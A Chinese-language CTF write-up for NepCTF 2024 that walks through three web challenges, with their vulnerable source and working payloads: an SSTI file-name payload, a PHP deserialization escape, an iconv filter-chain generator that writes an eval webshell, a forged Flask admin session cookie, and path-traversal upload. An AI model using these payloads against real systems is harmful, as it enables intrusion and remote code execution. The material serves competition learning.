NepCTF 2024

2024/8/24 CTF线上赛提权 SSTI 反序列化

字数统计: 5.2k字 | 阅读时长: 29分 | 总文章阅读量：次

前言

php master，除了php其它都不会（

参考wp：

https://chenxi9981.github.io/NepCTF_2024/

NepDouble（复现）

from flask import Flask, request,render_template,render_template_string
from zipfile import ZipFile
import os
import datetime
import hashlib
from jinja2 import Environment, FileSystemLoader

app = Flask(__name__,template_folder='static')
app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024

UPLOAD_FOLDER = '/app/uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

if not os.path.exists(UPLOAD_FOLDER):
    os.makedirs(UPLOAD_FOLDER)

template_env = Environment(loader=FileSystemLoader('static'), autoescape=True)


def render_template(template_name, **context):
    template = template_env.get_template(template_name)
    return template.render(**context)

def render_template_string(template_string, **context):
    template = template_env.from_string(template_string)
    return template.render(**context)


@app.route('/', methods=['GET', 'POST'])
def main():
    if request.method != "POST":
        return 'Please use POST method to upload files.'

    try:
        clear_uploads_folder()
        files = request.files.get('tp_file', None)
        if not files:
            return 'No file uploaded.'

        file_size = len(files.read())
        files.seek(0)


        file_extension = files.filename.rsplit('.', 1)[-1].lower()
        if file_extension != 'zip':
            return 'Invalid file type. Please upload a .zip file.'


        timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
        md5_dir_name = hashlib.md5(timestamp.encode()).hexdigest()
        unzip_folder = os.path.join(app.config['UPLOAD_FOLDER'], md5_dir_name)
        os.makedirs(unzip_folder, exist_ok=True)


        with ZipFile(files) as zip_file:
            zip_file.extractall(path=unzip_folder)

        files_list = []
        for root, dirs, files in os.walk(unzip_folder):
            for file in files:
                print(file)
                file_path = os.path.join(root, file)
                relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
                link = f'<a href="/cat?file={relative_path}">{file}</a>'
                files_list.append(link)

        return render_template_string('<br>'.join(files_list))

    except ValueError:
        return 'Invalid filename.'
    
    except Exception as e:
        return 'An error occurred. Please check your file and try again.'


@app.route('/cat')
def cat():
    file_path = request.args.get('file')
    if not file_path:
        return 'File path is missing.'

    new_file = os.path.join(app.config['UPLOAD_FOLDER'], file_path)
    if os.path.commonprefix([os.path.abspath(new_file), os.path.abspath(app.config['UPLOAD_FOLDER'])]) != os.path.abspath(app.config['UPLOAD_FOLDER']):
        return 'Invalid file path.'

    if os.path.islink(new_file):
        return 'Symbolic links are not allowed.'
    
    try:
        filename = file_path.split('/')[-1]
        content = read_large_file(new_file)
        return render_template('test.html',content=content,filename=filename,dates=Exec_date())
    except FileNotFoundError:
        return 'File not found.'
    except IOError as e:
        return f'Error reading file: {str(e)}'

def Exec_date():
    d_res = os.popen('date').read()
    return d_res.split(" ")[-1].strip()+" "+d_res.split(" ")[-3]

def clear_uploads_folder():
    for root, dirs, files in os.walk(app.config['UPLOAD_FOLDER'], topdown=False):
        for file in files:
            os.remove(os.path.join(root, file))
        for dir in dirs:
            os.rmdir(os.path.join(root, dir))

def read_large_file(file_path):
    content = ''
    with open(file_path, 'r') as file:
        for line in file:
            content += line
    return content

if __name__ == '__main__':
    app.run('0.0.0.0',port="8000",debug=False)

审一下代码

首先是/

def main():
    if request.method != "POST":
        return 'Please use POST method to upload files.'

    try:
        clear_uploads_folder()
        files = request.files.get('tp_file', None)
        if not files:
            return 'No file uploaded.'

        file_size = len(files.read())
        files.seek(0)


        file_extension = files.filename.rsplit('.', 1)[-1].lower()
        if file_extension != 'zip':
            return 'Invalid file type. Please upload a .zip file.'


        timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
        md5_dir_name = hashlib.md5(timestamp.encode()).hexdigest()
        unzip_folder = os.path.join(app.config['UPLOAD_FOLDER'], md5_dir_name)
        os.makedirs(unzip_folder, exist_ok=True)


        with ZipFile(files) as zip_file:
            zip_file.extractall(path=unzip_folder)

        files_list = []
        for root, dirs, files in os.walk(unzip_folder):
            for file in files:
                print(file)
                file_path = os.path.join(root, file)
                relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
                link = f'<a href="/cat?file={relative_path}">{file}</a>'
                files_list.append(link)

        return render_template_string('<br>'.join(files_list))

    except ValueError:
        return 'Invalid filename.'
    
    except Exception as e:
        return 'An error occurred. Please check your file and try again.'

上传zip并解压的功能，不写前端是吧😡

上传的文件会被解压，然后在 /cat 路由创建一个文件读取的链接

再看一下 /cat

@app.route('/cat')
def cat():
    file_path = request.args.get('file')
    if not file_path:
        return 'File path is missing.'

    new_file = os.path.join(app.config['UPLOAD_FOLDER'], file_path)
    if os.path.commonprefix([os.path.abspath(new_file), os.path.abspath(app.config['UPLOAD_FOLDER'])]) != os.path.abspath(app.config['UPLOAD_FOLDER']):
        return 'Invalid file path.'

    if os.path.islink(new_file):
        return 'Symbolic links are not allowed.'
    
    try:
        filename = file_path.split('/')[-1]
        content = read_large_file(new_file)
        return render_template('test.html',content=content,filename=filename,dates=Exec_date())
    except FileNotFoundError:
        return 'File not found.'
    except IOError as e:
        return f'Error reading file: {str(e)}'

ban了目录穿越和软链接

用重写过的render_template对读取的内容进行渲染

template_env = Environment(loader=FileSystemLoader('static'), autoescape=True)


def render_template(template_name, **context):
    template = template_env.get_template(template_name)
    return template.render(**context)

def render_template_string(template_string, **context):
    template = template_env.from_string(template_string)
    return template.render(**context)

明显不能从文件内容和文件名上进行ssti。。。吗？

仔细看一下这俩的差别，前者是从文件加载模板，后者是动态生成模板内容，也就是说后者可以进行ssti

return render_template_string('<br>'.join(files_list))

要上传的压缩包里面的文件名为我们的payload：

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd ..;cat flag').read()}}.txt

压缩后上传，自己准备个上传表单

<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>本地文件上传</title>
</head>
<body>
	<form action="https://neptune-21540.nepctf.lemonprefect.cn/" enctype="multipart/form-data" method="post">
    <input type="file" name="tp_file">
    <input type="submit" value="upload">
</form>
</body>
</html>

这样子解压后回显的就是flag了（图用的晨曦师傅的）

PHP_MASTER!!

非预期抢了个3血

<?php
highlight_file( __FILE__);
error_reporting(0);

function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}
class A{
    public $key;
    public function readflag(){
        if($this->key=== "\0key\0"){
            $a = $_POST[1];
            $contents = file_get_contents($a);
            file_put_contents($a, $contents);

        }
    }
}


class B
{

    public $b;
    public function __tostring()
    {
        if(preg_match("/\[|\]/i", $_GET['nep'])){
            die("NONONO!!!");
        }
        $str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]");
        echo $str;
        if ($str==='NepCTF]'){
            return ($this->b) ();
        }

    }
}
class C
{

    public $s;

    public $str;

    public function __construct($s)
    {
        $this->s = $s;
    }

    public function __destruct()
    {


        echo $this ->str;
    }
}
$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0","00",$ser);
unserialize($data);

一眼西瓜杯 Ezzz_php 进阶版

第一步，字符串逃逸来使 C 中的 str 属性为我们的序列化字符串，%00变为00会增加1位，逃逸";s:3:"str";O:1:"B":1:{s:1:"b";N;}}"共36位，即重复36遍

payload：

?c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";N;}}"

第二步，宽字节注入

每发送一个%f0abc，mb_strpos认为是4个字节，mb_substr认为是1个字节，相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节，mb_substr认为是1个字节，相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节，mb_substr认为是1个字节，相差1个字节

nep=Nep&nep1=%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f

第三步，到了return ($this->b) ();这里

故技重施，先读phpinfo()

?c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}"&nep=Nep&nep1=%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f

flag在环境变量里，感觉是非预期了

预期

public function readflag(){
    if($this->key=== "\0key\0"){
        $a = $_POST[1];
        $contents = file_get_contents($a);
        file_put_contents($a, $contents);

    }
}

最后是readflag函数，调用方式像这样

$b=new B();
$c=new C("1");
$b->b=[new A(),'readflag'];
$c->str=$b;
$ser = serialize($c);
echo $ser;

// O:1:"C":2:{s:1:"s";s:1:"1";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";N;}i:1;s:8:"readflag";}}}

明显只能在 index.php 里面写马，那就是filterchain了

<?php
$base64_payload = "PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Pz4"; /*<?php @eval($_REQUEST['cmd']);?>*/
$conversions = array(
    '/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    '1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
    '5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
	'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
	'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
	'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
	'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
    'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}

$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=index.php";
echo $final_payload;

于是传入写马

蹦蹦炸弹（boom_it）（复现）

from flask import Flask, render_template, request, session, redirect, url_for
import threading
import random
import string
import datetime
import rsa
from werkzeug.utils import secure_filename
import os
import subprocess

(pubkey, privkey) = rsa.newkeys(2048)

app = Flask(__name__)
app.secret_key = "super_secret_key"



UPLOAD_FOLDER = 'templates/uploads'
ALLOWED_EXTENSIONS = {'png', 'jpg', 'txt'}

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/admin', methods=['GET', 'POST'])
def admin():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username == 'admin' and password == users.get('admin', {}).get('password'):
            session['admin_logged_in'] = True
            return redirect(url_for('admin_dashboard'))
        else:
            return "Invalid credentials", 401
    return render_template('admin_login.html')

@app.route('/admin/dashboard', methods=['GET', 'POST'])
def admin_dashboard():
    if not session.get('admin_logged_in'):
        return redirect(url_for('admin'))

    if request.method == 'POST':
        if 'file' in request.files:
            file = request.files['file']
        if file.filename == '':
            return 'No selected file'
        filename = file.filename
        file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
        return 'File uploaded successfully'

    cmd_output = ""
    if 'cmd' in request.args:
        if os.path.exists("lock.txt"):  # 检查当前目录下是否存在lock.txt
            cmd = request.args.get('cmd')
            try:
                cmd_output = subprocess.check_output(cmd, shell=True).decode('utf-8')
            except Exception as e:
                cmd_output = str(e)
        else:
            cmd_output = "lock.txt not found. Command execution not allowed."
    return render_template('admin_dashboard.html', users=users, cmd_output=cmd_output, active_tab="cmdExecute")


@app.route('/admin/logout')
def admin_logout():
    session.pop('admin_logged_in', None)
    return redirect(url_for('index'))

# Generate random users
def generate_random_users(n):
    users = {}
    for _ in range(n):
        username = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
        password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
        users[username] = {"password": password, "balance": 2000}
    return users

users = generate_random_users(1000)
users["HRP"] = {"password": "HRP", "balance": 6000}

# Add an admin user with a random password
admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
users["admin"] = {"password": admin_password, "balance": 0}

flag_price = 10000
flag = admin_password  # The flag is the password of the admin user
mutex = threading.Lock()


@app.route('/')
def index():
    if "username" in session:
        return render_template("index.html", logged_in=True, username=session["username"], balance=users[session["username"]]["balance"])
    return render_template("index.html", logged_in=False)

@app.route('/reset', methods=['GET'])
def reset():
    global users
    users = {}  # Clear all existing users
    users = generate_random_users(1000)
    users["HRP"] = {"password": "HRP", "balance": 6000}
    global admin_password
    admin_password={}
    global flag
    # Add an admin user with a random password
    admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
    flag=admin_password

    users["admin"] = {"password": admin_password, "balance": 0}
    
    return redirect(url_for('index'))


@app.route('/login', methods=["POST"])
def login():
    username = request.form.get("username")
    password = request.form.get("password")
    if username in users and users[username]["password"] == password:
        session["username"] = username
        return redirect(url_for('index'))
    return "Invalid credentials", 403

@app.route('/logout')
def logout():
    session.pop("username", None)
    return redirect(url_for('index'))


def log_transfer(sender, receiver, amount):
    def encrypt_data_with_rsa(data, pubkey):
        for _ in range(200):  # Encrypt the data multiple times
            encrypted_data = rsa.encrypt(data.encode(), pubkey)
        return encrypted_data.hex()

    timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')
    
    # Encrypt the amount and timestamp
    encrypted_amount = encrypt_data_with_rsa(str(amount), pubkey)
    encrypted_timestamp = encrypt_data_with_rsa(timestamp, pubkey)
    
    log_data = f"{encrypted_timestamp} - Transfer from {sender} to {receiver} of encrypted amount {encrypted_amount}\n"
    
    for _ in range(1): 
        log_data += f"Transaction initiated from device: {random.choice(['Mobile', 'Web', 'ATM', 'In-Branch Terminal'])}\n"
        log_data += f"Initiator IP address: {random.choice(['192.168.1.', '10.0.0.', '172.16.0.'])}{random.randint(1, 254)}\n"
        log_data += f"Initiator geolocation: Latitude {random.uniform(-90, 90):.6f}, Longitude {random.uniform(-180, 180):.6f}\n"
        log_data += f"Receiver's last login device: {random.choice(['Mobile', 'Web', 'ATM'])}\n"
        log_data += f"Associated fees: ${random.uniform(0.1, 3.0):.2f}\n"
        log_data += f"Remarks: {random.choice(['Regular transfer', 'Payment for invoice #'+str(random.randint(1000,9999)), 'Refund for transaction #'+str(random.randint(1000,9999))])}\n"
        log_data += "-"*50 + "\n"

    with open('transfer_log.txt', 'a') as f:
        f.write(log_data)




@app.route('/transfer', methods=["POST"])
def transfer():
    if "username" not in session:
        return "Not logged in", 403
    
    receivers = request.form.getlist("receiver")
    amount = int(request.form.get("amount"))
    if amount <0:
        return "Insufficient funds", 400
    logging_enabled = request.form.get("logs", "false").lower() == "true"
    
    if session["username"] in receivers:
        return "Cannot transfer to self", 400
    
    for receiver in receivers:
        if receiver not in users:
            return f"Invalid user {receiver}", 400
    
    total_amount = amount * len(receivers)
    if users[session["username"]]["balance"] >= total_amount:
        for receiver in receivers:
            if logging_enabled:
                log_transfer(session["username"], receiver, amount)
            mutex.acquire()
            users[session["username"]]["balance"] -= amount
            users[receiver]["balance"] += amount
            mutex.release()
        return redirect(url_for('index'))
    return "Insufficient funds", 400


@app.route('/buy_flag')
def buy_flag():
    if "username" not in session:
        return "Not logged in", 403

    if users[session["username"]]["balance"] >= flag_price:
        users[session["username"]]["balance"] -= flag_price
        return f"Here is your flag: {flag}"
    return "Insufficient funds", 400

@app.route('/get_users', methods=["GET"])
def get_users():
    num = int(request.args.get('num', 1000))
    selected_users = random.sample(list(users.keys()), num)
    return {"users": selected_users}

@app.route('/view_balance/<username>', methods=["GET"])
def view_balance(username):
    if username in users:
        return {"username": username, "balance": users[username]["balance"]}
    return "User not found", 404

@app.route('/force_buy_flag', methods=["POST"])
def force_buy_flag():
    if "username" not in session or session["username"] != "HRP":
        return "Permission denied", 403

    target_user = request.form.get("target_user")
    if target_user not in users:
        return "User not found", 404

    if users[target_user]["balance"] >= flag_price:
        users[target_user]["balance"] -= flag_price
        return f"User {target_user} successfully bought the flag!,"+f"Here is your flag: {flag}"
    return f"User {target_user} does not have sufficient funds", 400


if __name__ == "__main__":
    app.run(host='0.0.0.0',debug=False)

代码很长，一步一步边分析功能边审计

先是登录路由 /login

@app.route('/login', methods=["POST"])
def login():
    username = request.form.get("username")
    password = request.form.get("password")
    if username in users and users[username]["password"] == password:
        session["username"] = username
        return redirect(url_for('index'))
    return "Invalid credentials", 403

需要找个账户和密码

# Generate random users
def generate_random_users(n):
    users = {}
    for _ in range(n):
        username = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
        password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
        users[username] = {"password": password, "balance": 2000}
    return users

users = generate_random_users(1000)
users["HRP"] = {"password": "HRP", "balance": 6000}

# Add an admin user with a random password
admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
users["admin"] = {"password": admin_password, "balance": 0}

flag_price = 10000
flag = admin_password  # The flag is the password of the admin user

/*...*/

@app.route('/reset', methods=['GET'])
def reset():
    global users
    users = {}  # Clear all existing users
    users = generate_random_users(1000)
    users["HRP"] = {"password": "HRP", "balance": 6000}
    global admin_password
    admin_password={}
    global flag
    # Add an admin user with a random password
    admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
    flag=admin_password

    users["admin"] = {"password": admin_password, "balance": 0}
    
    return redirect(url_for('index'))

这里拿到账密HRP:HRP，HRP用户有6000块，admin没有钱，其它用户每人有2000块，同时得知 flag 要10000块，而且是 admin 的password

登录进去，接下来有下面这些功能

@app.route('/transfer', methods=["POST"])
def transfer():
    if "username" not in session:
        return "Not logged in", 403
    
    receivers = request.form.getlist("receiver")
    amount = int(request.form.get("amount"))
    if amount <0:
        return "Insufficient funds", 400
    logging_enabled = request.form.get("logs", "false").lower() == "true"
    
    if session["username"] in receivers:
        return "Cannot transfer to self", 400
    
    for receiver in receivers:
        if receiver not in users:
            return f"Invalid user {receiver}", 400
    
    total_amount = amount * len(receivers)
    if users[session["username"]]["balance"] >= total_amount:
        for receiver in receivers:
            if logging_enabled:
                log_transfer(session["username"], receiver, amount)
            mutex.acquire()
            users[session["username"]]["balance"] -= amount
            users[receiver]["balance"] += amount
            mutex.release()
        return redirect(url_for('index'))
    return "Insufficient funds", 400

提供了转账功能

@app.route('/view_balance/<username>', methods=["GET"])
def view_balance(username):
    if username in users:
        return {"username": username, "balance": users[username]["balance"]}
    return "User not found", 404

可以看到对应用户的余额

@app.route('/force_buy_flag', methods=["POST"])
def force_buy_flag():
    if "username" not in session or session["username"] != "HRP":
        return "Permission denied", 403

    target_user = request.form.get("target_user")
    if target_user not in users:
        return "User not found", 404

    if users[target_user]["balance"] >= flag_price:
        users[target_user]["balance"] -= flag_price
        return f"User {target_user} successfully bought the flag!,"+f"Here is your flag: {flag}"
    return f"User {target_user} does not have sufficient funds", 400

可以强制某个用户购买flag

@app.route('/buy_flag')
def buy_flag():
    if "username" not in session:
        return "Not logged in", 403

    if users[session["username"]]["balance"] >= flag_price:
        users[session["username"]]["balance"] -= flag_price
        return f"Here is your flag: {flag}"
    return "Insufficient funds", 400

自己买flag，明显钱不够

看一下/admin后台

@app.route('/admin', methods=['GET', 'POST'])
def admin():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username == 'admin' and password == users.get('admin', {}).get('password'):
            session['admin_logged_in'] = True
            return redirect(url_for('admin_dashboard'))
        else:
            return "Invalid credentials", 401
    return render_template('admin_login.html')

@app.route('/admin/dashboard', methods=['GET', 'POST'])
def admin_dashboard():
    if not session.get('admin_logged_in'):
        return redirect(url_for('admin'))

    if request.method == 'POST':
        if 'file' in request.files:
            file = request.files['file']
        if file.filename == '':
            return 'No selected file'
        filename = file.filename
        file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
        return 'File uploaded successfully'

    cmd_output = ""
    if 'cmd' in request.args:
        if os.path.exists("lock.txt"):  # 检查当前目录下是否存在lock.txt
            cmd = request.args.get('cmd')
            try:
                cmd_output = subprocess.check_output(cmd, shell=True).decode('utf-8')
            except Exception as e:
                cmd_output = str(e)
        else:
            cmd_output = "lock.txt not found. Command execution not allowed."
    return render_template('admin_dashboard.html', users=users, cmd_output=cmd_output, active_tab="cmdExecute")

需要 session 里的 admin_logged_in 为 True

可以直接伪造 session 登录 admin 后台

eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW5fbG9nZ2VkX2luIjp0cnVlfQ.Zsmizw.c7Mw-jnRnROmAaqnFf1CJkdqcys

进到后台dashboard，有三个功能

命令执行需要在目录下有 lock.txt 才能使用

文件上传

UPLOAD_FOLDER = 'templates/uploads'
ALLOWED_EXTENSIONS = {'png', 'jpg', 'txt'}

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

/*...*/


    if request.method == 'POST':
        if 'file' in request.files:
            file = request.files['file']
        if file.filename == '':
            return 'No selected file'
        filename = file.filename
        file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
        return 'File uploaded successfully'

上传的文件保存在了templates/uploads下，没做路径穿越的过滤

直接上传目录穿越

然后就能命令执行，嗯很好果然没权限读flag

看一下用户列表

既然有账密我们就可以登录这些用户然后直接转账给HRP买flag

拿到admin的密码：aJc2W3HMWvwoEd9

貌似没啥用

